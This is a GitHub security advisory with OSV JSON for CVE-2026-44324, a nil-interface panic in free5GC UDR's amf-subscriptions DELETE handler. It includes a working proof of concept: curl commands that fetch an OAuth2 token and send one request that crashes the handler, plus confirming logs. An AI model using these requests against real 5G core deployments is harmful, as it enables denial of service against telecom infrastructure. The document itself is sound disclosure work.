GHSA-JQFC-GWJ5-3W63
Vulnerability from github – Published: 2026-05-08 22:52 – Updated: 2026-05-08 22:52Summary
free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USER_NOT_FOUND problem-details on the miss path, but execution continues and immediately runs value.(*udr_context.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not *context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.
This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set pd, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.
This endpoint requires a valid nudr-dr OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.
Details
Validated against the UDR container in the official Docker compose lab.
- Source repo tag: v4.2.1
- Running Docker image: free5gc/udr:v4.2.1
- Runtime UDR commit: 754d23b0
- Docker validation date: 2026-03-22
- UDR endpoint: http://10.100.200.11:8000
Vulnerable handler (the ok miss path sets pd but does not return; the next line type-asserts the nil interface):
subsId := c.Params.ByName("subsId")
s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId)
In the processor:
value, ok := udrSelf.UESubsCollection.Load(ueId)
if !ok {
pd = util.ProblemDetailsNotFound("USER_NOT_FOUND")
}
UESubsData := value.(*udr_context.UESubsData) // panics: nil interface
When ueId is absent from UESubsCollection, value is the nil interface{} returned by sync.Map.Load, and value.(*udr_context.UESubsData) panics with:
panic: interface conversion: interface {} is nil, not *context.UESubsData
Code evidence (paths in free5gc/udr):
- Route exposure + handler dispatch:
- NFs/udr/internal/sbi/api_datarepository.go:2161
- NFs/udr/internal/sbi/api_datarepository.go:2170
- NFs/udr/internal/sbi/api_datarepository.go:2172
- Panic root cause (nil interface type assertion):
- NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53
- NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56
- NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61
PoC
Reproduced end-to-end against the running UDR at http://10.100.200.11:8000 -- single authenticated request, no preconditions.
- Restart UDR (clean state -- proves no precondition is needed):
docker restart udr
- Obtain a valid
nudr-drtoken from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
- Trigger the panic with one DELETE for a nonexistent
ueId=x:
curl -i -sS -X DELETE \
'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
-H 'Authorization: Bearer <valid_nudr_dr_jwt>'
HTTP/1.1 500 Internal Server Error
Content-Length: 0
- UDR container logs (
docker logs udr) confirm the nil-interface conversion panic atevent_amf_subscription_info_document.go:61insideRemoveAmfSubscriptionsInfoProcedure:
[ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
.../event_amf_subscription_info_document.go:61
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
.../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |
Impact
Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a 404 problem-details value but does not return, then runs a Go type assertion on the nil interface returned by sync.Map.Load.
This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:
- Trigger a reliable, single-request panic on the amf-subscriptions delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919).
- Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 USER_NOT_FOUND response would have.
No Confidentiality impact (the response is 500 with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/free5gc/udr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44324"
],
"database_specific": {
"cwe_ids": [
"CWE-704",
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:52:20Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nfree5GC\u0027s UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable.\n\nThis is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.\n\nThis endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.\n\n### Details\nValidated against the UDR container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/udr:v4.2.1`\n- Runtime UDR commit: `754d23b0`\n- Docker validation date: 2026-03-22\n- UDR endpoint: `http://10.100.200.11:8000`\n\nVulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface):\n```go\nsubsId := c.Params.ByName(\"subsId\")\ns.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId)\n```\nIn the processor:\n```go\nvalue, ok := udrSelf.UESubsCollection.Load(ueId)\nif !ok {\n pd = util.ProblemDetailsNotFound(\"USER_NOT_FOUND\")\n}\n\nUESubsData := value.(*udr_context.UESubsData) // panics: nil interface\n```\nWhen `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with:\n```\npanic: interface conversion: interface {} is nil, not *context.UESubsData\n```\n\nCode evidence (paths in `free5gc/udr`):\n- Route exposure + handler dispatch:\n - `NFs/udr/internal/sbi/api_datarepository.go:2161`\n - `NFs/udr/internal/sbi/api_datarepository.go:2170`\n - `NFs/udr/internal/sbi/api_datarepository.go:2172`\n- Panic root cause (nil interface type assertion):\n - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53`\n - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56`\n - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61`\n\n### PoC\nReproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions.\n\n1. Restart UDR (clean state -- proves no precondition is needed):\n```\ndocker restart udr\n```\n\n2. Obtain a valid `nudr-dr` token from NRF:\n```\ncurl -sS -X POST \u0027http://10.100.200.3:8000/oauth2/token\u0027 \\\n -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n --data \u0027grant_type=client_credentials\u0026nfType=NEF\u0026nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57\u0026targetNfType=UDR\u0026scope=nudr-dr\u0027\n```\n\n3. Trigger the panic with one DELETE for a nonexistent `ueId=x`:\n```\ncurl -i -sS -X DELETE \\\n \u0027http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions\u0027 \\\n -H \u0027Authorization: Bearer \u003cvalid_nudr_dr_jwt\u003e\u0027\n```\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\n4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`:\n```\n[ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData\ngithub.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure\n .../event_amf_subscription_info_document.go:61\ngithub.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo\n .../api_datarepository.go:2172\n[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |\n```\n\n### Impact\nIncorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`.\n\nThis is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:\n- Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919).\n- Repeat the trigger to sustain a per-request panic-DoS on UDR\u0027s data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have.\n\nNo Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/920\nUpstream fix: https://github.com/free5gc/udr/pull/60",
"id": "GHSA-jqfc-gwj5-3w63",
"modified": "2026-05-08T22:52:20Z",
"published": "2026-05-08T22:52:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-jqfc-gwj5-3w63"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/issues/920"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/udr/pull/60"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/udr/commit/8a1d3c63be99d378806d771f086ff32f1867da99"
},
{
"type": "PACKAGE",
"url": "https://github.com/free5gc/free5gc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "free5GC\u0027s UDR nudr-dr DELETE amf-subscriptions panics on missing UE state via nil interface type assertion (single authenticated request)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.